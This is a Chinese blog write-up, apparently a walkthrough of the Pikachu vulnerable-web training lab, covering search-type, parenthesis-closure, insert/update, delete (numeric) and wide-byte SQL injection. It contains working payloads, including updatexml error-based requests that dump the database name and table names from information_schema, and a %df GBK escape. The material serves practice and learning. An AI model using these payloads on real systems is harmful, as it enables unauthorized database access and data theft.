pikachu之特殊注入之搜索型注入、xx型注入、insert/update注入、delete注入、宽字节注入

一步一脚印!!!

补充:此处为什么不写http请求头注入,因为该注入类型只是换了注入点,语句其他根本没有什么变化

1.搜索型

先尝试输入常用payload:  1' or 1=1 #。

 已经有回显

我们在查看提示

我们输入%%,发现跟之前的回显一致

 查看源码

发现此处就是一个模糊匹配搜索的方式

但是一般我们不可能看到源码,所以通过大概的语法报错来确定

输入payload:1'

%'' 这个特定的错误片段可能意味着你在使用百分号(%)作为通配符进行模糊匹配时,出现了单引号不匹配或者其他与字符串相关的错误,可以联想到模糊匹配。

% 在 LIKE 子句中是一个非常灵活的通配符,可以用来表示前导、中间和尾随的任意数量字符,包括零个字符的情形。

实例:like '%a' (以a结尾) ,'%a%'(包含a) , 'a%'(以a开头)

2.xx型注入

先试试: 1' or 1=1#

报错了,也没有提示

换成   1'

怀疑还需要括号进行闭合

重新复盘payload:1') or 1=1#

成功了!

返回来看提示

总结:考闭合思路!!!

3.insert/update注入

还是先注册

边注册边抓包看,怀疑尝试注入点,尝试常用payload:1' or 1=1#

 根据右边的报错,可得应该是闭合错误了,不过一定要有单引号,于是尝试 '",'),发现')有不同的回显,说明闭合方式就为')

 发现列数不对,加入列数,得到:

username=1','2','3','4','5','6') #&password=1&sex=1&phonenum=1&email=1&add=1&submit=submit

列数对了,我们试着插入报错语句

username=1','updatexml(1,concat('~',(select database())))','3','4','5','6') #&password=1&sex=1&phonenum=1&email=1&add=1&submit=submit,并没有效果

然后我们现在回想为什么题目是insert/update注入,此处注册其实就是使用insert/update语句对数据库进行数据插入更新以来注册账户,所以我们可以大致推算,此处语句可能类似如下:

insert into users values ('id','usename','password');

此语句也印证了上述闭合

所以有了大致的思路,我们试着闭合语句和进行报错注入,此处插入or'的原因是保证语法正确

username=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or' &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit

 

该语句插入后语句变为了

insert into users values ('1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or’ ','usename','password');

此时该语句是不会进行语法报错的,同时or可以换为and

爆表:

依次爆表

username=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) or' &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit

或者

直接爆表:

username=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or' &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit

但是其实直接爆库并没有爆出所有的表,这是因为group_concat的限制,只能返回32个字符,所以此处我们要使用截断函数substr函数进行进一步的把表爆完整

所以改为:(此处substr后面的两个参数我是随便填的)

username=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),25,20),0x7e),1) or' &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit

 爆列语句我就不演示了,类比爆表的语句就行了

update注入

 update注入其实就是登录后修改个人信息处进行报错注入,语句跟上述insert语句一模一样,就不多做演示了

4.delete注入

既然是delete,那我们就先留个言吧,你不会真信了吧,作为一个网安人,怎么可能放过可能的注入点呢,悄悄告诉你,其实submit的内容我也试过了,并不是注入点哟!

删除留言的同时抓包:

发现一个id参数,字符型注入做多了,这道题我做了好久才发现居然是数值型注入

只好重新走流程了,此处需要注意,需要将注入语句在一些地方加入编码,不能出现空格等

所以我们直接先进行判断字符型还是数值型,

and 1=1

' and '1'='1

此处我已经试过是数值型注入了,具体步骤如下,不过其实就是当你发现无论咋么闭合都不管用时,就必须考虑到数值型注入了,当然如果一来就判断是最好的。

介于该注入输入正确的代码时会直接删除留言,所以在repeat模块中其实并不好进行多次输入验证,所以只能每写一个payload,就要重新抓一次包(仅仅是在验证时,后面就可以使用repeat模块)

我这里其实是多次输入payload,减懒了,从中看出

难得做到一道数值型注入,就强化一下吧

爆库:

+or+updatexml(1,concat(0x7e,(select+database())),1)  ---此处不用加#,因为数值型注入

爆表:

+or+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database())),1)

加上

+or+updatexml(1,concat(0x7e,substr((select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),25,30)),1)

爆列就不演示了,自己演示哟!!

5.宽字节注入

什么是宽字节

如果一个字符的大小是一个字节的,称为窄字节;如果一个字符的大小是两个字节的,成为宽字节

  • 像GB2312、GBK、GB18030、BIG5、Shift_JIS等这些编码都是常说的宽字节,也就是只有两字节
  • 英文默认占一个字节,中文占两个字节

宽字节注入使用条件

PHP发送请求到MySql时使用了语句SET NAMES 'gbk' 或是set character_set_client =gbk 进行了一次编码

宽字节注入的使用原因

单引号、双引号等特殊字符被转义

宽字节注入原理

在数据库中使用了宽字符集(GBK,GB2312等),除了英文都是一个字符占两字节;

MySQL在使用GBK编码的时候,会认为两个字符为一个汉字(ascii>128才能达到汉字范围);

在PHP中使用addslashes函数的时候,会对单引号%27进行转义,在前边加一个反斜杠”\”,变成%5c%27;

可以在前边添加%df,形成%df%5c%27,而数据进入数据库中时前边的%df%5c两字节会被当成一个汉字;

%5c被吃掉了,单引号由此逃逸可以用来闭合语句。

使用PHP函数iconv(‘utf-8’,‘gbk’,$_GET[‘id’]),也可能导致注入产生

看题目

 根据提示来,查询并抓包

然后直接上常用的宽字节payload:kobe%df' or 1=1#

即可查询到所有用户!!!

留言

但是这种情形一般我们不可能直接知道它是宽字节注入....,只能多做尝试,才能明白,网安人的必备就是勤劳的双手!!!文章到此就结束了,祝你们学习顺利!!!

  • 25
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值